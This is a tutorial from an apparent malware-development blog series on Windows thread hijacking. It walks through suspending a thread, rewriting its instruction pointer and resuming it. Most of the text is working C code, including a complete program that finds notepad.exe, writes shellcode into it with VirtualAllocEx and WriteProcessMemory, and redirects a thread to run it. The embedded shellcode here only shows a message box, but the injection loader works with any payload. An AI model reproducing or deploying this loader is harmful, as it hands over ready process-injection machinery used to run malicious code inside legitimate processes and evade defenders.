Malware Development: Crafting Digital Chaos 0x7: Thread Hijacking techniques
Definition of Thread Hijacking
A thread is the smallest unit of execution within a process. In modern operating systems like Windows, Linux, and macOS, processes are divided into one or more threads, each capable of executing code independently. Threads within the same process share the same memory space and system resources, allowing them to communicate with each other more efficiently than processes.
Thread hijacking is a technique used to take control of the execution flow of a thread within a process.
Steps of hijacking a thread:
-
Find Target Thread: We identify a thread within the target process that we want to hijack. This could be the main thread or any other thread running within the process.
-
Suspend Thread: We suspend the target thread to prevent it from executing further instructions.
-
Modify Thread Context: We modify the context of the suspended thread, usually by changing the instruction pointer (e.g.,
RIP
on x86/x64 architectures) to point to our malicious code. -
Resume Thread: Once the thread’s context has been modified, we resume the execution of the thread.
-
Execution of Malicious Code: The thread resumes execution, but instead of continuing its original task, it starts executing our code.
Local Hijack
Before we start working on remote processes we can first try to hijack a local function’s thread which is already within the address space of our executable.
As I mentioned, in order to hijack a thread you have to suspend it first and suspending a thread means temporarily pausing its execution, preventing it from running further instructions.
We can achieve that using CreateThread
API call:
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&FUNC, NULL, CREATE_SUSPENDED, NULL);
FUNC
here is just a random function we’ve defined so that we can hijack its thread.
- CREATE_SUSPENDED value we passed will create the thread in its suspended state.
Now that we have our thread ready to be hijacked, we can start implementing the logic of our thread hijacking function:
First we need to introduce ourselves to an important data structure which is Thread Context.
typedef struct _CONTEXT {
DWORD64 P1Home;
DWORD64 P2Home;
DWORD64 P3Home;
DWORD64 P4Home;
DWORD64 P5Home;
DWORD64 P6Home;
DWORD ContextFlags;
DWORD MxCsr;
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
DWORD64 Rax;
DWORD64 Rcx;
DWORD64 Rdx;
DWORD64 Rbx;
DWORD64 Rsp;
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8;
DWORD64 R9;
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
DWORD64 Rip;
union {
XMM_SAVE_AREA32 FltSave;
NEON128 Q[16];
ULONGLONG D[32];
struct {
M128A Header[2];
M128A Legacy[8];
M128A Xmm0;
M128A Xmm1;
M128A Xmm2;
M128A Xmm3;
M128A Xmm4;
M128A Xmm5;
M128A Xmm6;
M128A Xmm7;
M128A Xmm8;
M128A Xmm9;
M128A Xmm10;
M128A Xmm11;
M128A Xmm12;
M128A Xmm13;
M128A Xmm14;
M128A Xmm15;
} DUMMYSTRUCTNAME;
DWORD S[32];
} DUMMYUNIONNAME;
M128A VectorRegister[26];
DWORD64 VectorControl;
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
Each thread will have its own context structure, What we care about in this structure is the element Rip
which stores the return pointer.
We need to modify this value to point to the start of our shellcode in memory, As once we resume our thread it will start executing the code in the Rip
address.
We start by defining a context structure, then setting the ContextFlags
to CONTEXT_CONTROL
so that we can modify the context values easily.
CONTEXT context = {};
context.ContextFlags = CONTEXT_CONTROL;
Then we allocate an executable memory region to copy our shellcode:
PVOID pMemory = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Copy our shellcode:
memcpy(pMemory, pAddress, dwSize);
The next part we need to get the value of the context structure of our thread we want to hijack in order to update it, we can use GetThreadContext
API call:
BOOL GetThreadContext(
[in] HANDLE hThread,
[in, out] LPCONTEXT lpContext
);
if (!GetThreadContext(hThread, &context)) {
printf("GetThreadContext failed with error %x", GetLastError());
}
After we got the context successfully, we update the Rip
with the memory address of our shellcode:
context.Rip = reinterpret_cast<DWORD64>(pMemory);
Then we set the context again of the thread using SetThreadContext
if (!SetThreadContext(hThread, &context)) {
printf("SetThreadContext failed with error %x", GetLastError());
}
Complete code:
BOOL HijackThread(IN HANDLE hThread,IN PBYTE pAddress,IN SIZE_T dwSize) {
CONTEXT context = {};
context.ContextFlags = CONTEXT_CONTROL;
PVOID pMemory = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pMemory == NULL) {
printf("VirtualAlloc failed with error %x", GetLastError());
}
memcpy(pMemory, pAddress, dwSize);
if (!GetThreadContext(hThread, &context)) {
printf("GetThreadContext failed with error %x", GetLastError());
}
context.Rip = reinterpret_cast<DWORD64>(pMemory);
if (!SetThreadContext(hThread, &context)) {
printf("SetThreadContext failed with error %x", GetLastError());
}
return TRUE;
}
Remote Hijack - Creating a new process
What we’ve explained above was local hijacking, but a more realistic attack would be remote thread hijacking.
If we want to do this remotely, we will be having extra steps as we need to manually enumerate processes and then find a thread inside that process, Let’s say that our target is notepad.exe
process, we can do this is two ways:
- Creating the process
- Enumerating the running processes
Creating a new process
We can use CreateProcess
API call to create notepad.exe:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
The parameters we are mostly interested in are:
- lpApplicationName: This parameter specifies the name of the application to be executed
- lpCommandLine: This parameter specifies the command line to be executed.
- dwCreationFlags: This parameter determines how the process should be created.
- lpStartupInfo: This parameter points to a
STARTUPINFO
structure that specifies how the main window for the new process should appear. It’s usually filled with zeros or initialized with appropriate values before callingCreateProcess
. - lpProcessInformation: This parameter points to a
PROCESS_INFORMATION
structure that receives information about the newly created process, such as its handle and identifier.
We will be passing the full path of notepad.exe
along with a CREATE_SUSPENDED
creation flag, but before we open it we need to set some important stuff:
First we need to define StartupInfo
and ProcessInformation
structures and zero out their memory:
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
And then we call GetEnvironmentVariableA
to get the value of WINDIR
variable, this variablel will specifies the location of the Windows installation directory.
if (!GetEnvironmentVariableA("WINDIR", WinDir, MAX_PATH)) {
printf("GetEnvironmentVariable failed with error %x",GetLastError());
}
sprintf_s(lpPath, "%s\\System32\\%s", WinDir, lpProcessName);
We use sprintf
so we can append the name on our target process to the windows path and System32 folder, that full path will be something like C:\\Windows\\System32\\Notepad.exe
And then after we’ve defined our structures and prepared the path we can now create the process:
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
)
) {
printf("CreateProcess failed with erorr %x", GetLastError());
}
*dwProcessID = pi.dwProcessId;
*hProcess = pi.hProcess;
*hThread = pi.hThread;
And finally we save the values of the process ID, Handle, and first thread’s ID.
Injecting the shellcode
After we’ve got a handle to our process, we need to inject the payload in order to later execute it:
We simple use VirtualAllocEx
then WriteProcessMemory
. This function will give us a pointer to the shellcode memory inside the ppAddress
OUT parameter we passed.
BOOL InjectShellcode(IN HANDLE* hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {
SIZE_T dwNumberofBbytesWritten;
*ppAddress = VirtualAllocEx(*hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ppAddress == NULL) {
printf("VirtualAlloc failed with error %x", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(*hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {
printf("WriteProcessMemory failed with error %x", GetLastError());
return FALSE;
}
return TRUE;
}
Hijacking the thread
Last but not least we implement the function that’ll hijack that thread we retrieved before:
It will be the same logic as the one explained above.
BOOL ThreadHijacking(IN HANDLE* hThread, IN PVOID* pAddess) {
CONTEXT context;
context.ContextFlags = { CONTEXT_CONTROL };
if (!GetThreadContext(*hThread, &context)) {
printf("GetThreadContext failed with error %x", GetLastError());
return FALSE;
}
context.Rip = (uintptr_t)(*pAddess);
if (!SetThreadContext(*hThread, &context)) {
printf("SetThreadContext failed with error %x", GetLastError());
return FALSE;
}
ResumeThread(*hThread);
WaitForSingleObject(*hThread, INFINITE);
return TRUE;
}
Execution
Testing the code we can see that our MessageBox is being triggered (you can generate a simple messagebox payload using msvenom).
Remote Hijack - enumerating existing processes
We can slightly modify this to be even better, instead of creating a new process we can directly enumerate existing ones and search for our target, I will not be explaining the process enumeration in depth as It was explained before here
We will be using the same techniques CreateToolhelp32Snapshot()
and Process32First
,Process32Next
The only new thing will be the thread enumeration, but the technique is very similar to the process enumeration, As we will be using CreateToolhelp32Snapshot
to snapshot threads inside the process also Thread32First
and Thread32Next
to navigate through the snapshot elements:
BOOL FindNotepadProcess(OUT DWORD* dwProcessID, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Failed to create process snapshot: %lu\n", GetLastError());
return FALSE;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32)) {
CloseHandle(hSnapshot);
fprintf(stderr, "Failed to retrieve the first process: %lu\n", GetLastError());
return FALSE;
}
do {
if (_wcsicmp(pe32.szExeFile, L"notepad.exe") == 0) {
*dwProcessID = pe32.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *dwProcessID);
if (*hProcess == NULL) {
fprintf(stderr, "Failed to open process: %lu\n", GetLastError());
CloseHandle(hSnapshot);
return FALSE;
}
*hThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (*hThread == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Failed to create thread snapshot: %lu\n", GetLastError());
CloseHandle(*hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(*hThread, &te32)) {
fprintf(stderr, "Failed to retrieve the first thread: %lu\n", GetLastError());
CloseHandle(*hThread);
CloseHandle(*hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
do {
if (te32.th32OwnerProcessID == *dwProcessID) {
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (*hThread != NULL) {
CloseHandle(hSnapshot);
return TRUE;
}
}
} while (Thread32Next(*hThread, &te32));
}
} while (Process32Next(hSnapshot, &pe32));
fprintf(stderr, "Notepad process not found.\n");
CloseHandle(hSnapshot);
return FALSE;
}
There will be a loop inside a loop, the parent loop will loop the processes’ snapshots, the child loop will loop through the threads and try to get a handle to any thread.
The Injection and Hijacking logic is the same as we mentioned before.
Complete code:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
BOOL FindNotepadProcess(OUT DWORD* dwProcessID, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Failed to create process snapshot: %lu\n", GetLastError());
return FALSE;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32)) {
CloseHandle(hSnapshot);
fprintf(stderr, "Failed to retrieve the first process: %lu\n", GetLastError());
return FALSE;
}
do {
if (_wcsicmp(pe32.szExeFile, L"notepad.exe") == 0) {
*dwProcessID = pe32.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *dwProcessID);
if (*hProcess == NULL) {
fprintf(stderr, "Failed to open process: %lu\n", GetLastError());
CloseHandle(hSnapshot);
return FALSE;
}
*hThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (*hThread == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Failed to create thread snapshot: %lu\n", GetLastError());
CloseHandle(*hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(*hThread, &te32)) {
fprintf(stderr, "Failed to retrieve the first thread: %lu\n", GetLastError());
CloseHandle(*hThread);
CloseHandle(*hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
do {
if (te32.th32OwnerProcessID == *dwProcessID) {
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (*hThread != NULL) {
CloseHandle(hSnapshot);
return TRUE;
}
}
} while (Thread32Next(*hThread, &te32));
}
} while (Process32Next(hSnapshot, &pe32));
fprintf(stderr, "Notepad process not found.\n");
CloseHandle(hSnapshot);
return FALSE;
}
BOOL InjectShellcode(IN HANDLE hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {
SIZE_T dwNumberofBbytesWritten;
*ppAddress = VirtualAllocEx(hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (*ppAddress == NULL) {
fprintf(stderr, "VirtualAllocEx failed: %lu\n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {
fprintf(stderr, "WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, *ppAddress, 0, MEM_RELEASE);
return FALSE;
}
return TRUE;
}
BOOL ThreadHijacking(IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT context;
context.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &context)) {
fprintf(stderr, "GetThreadContext failed: %lu\n", GetLastError());
return FALSE;
}
context.Rip = (uintptr_t)pAddress;
if (!SetThreadContext(hThread, &context)) {
fprintf(stderr, "SetThreadContext failed: %lu\n", GetLastError());
return FALSE;
}
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
DWORD dwProcessID;
HANDLE hProcess, hThread;
if (!FindNotepadProcess(&dwProcessID, &hProcess, &hThread)) {
return 1;
}
PVOID pAddress;
if (!InjectShellcode(hProcess, buf, sizeof(buf), &pAddress)) {
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
if (!ThreadHijacking(hThread, pAddress)) {
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Execute the code and make sure notepad.exe is running and the message box will be triggered.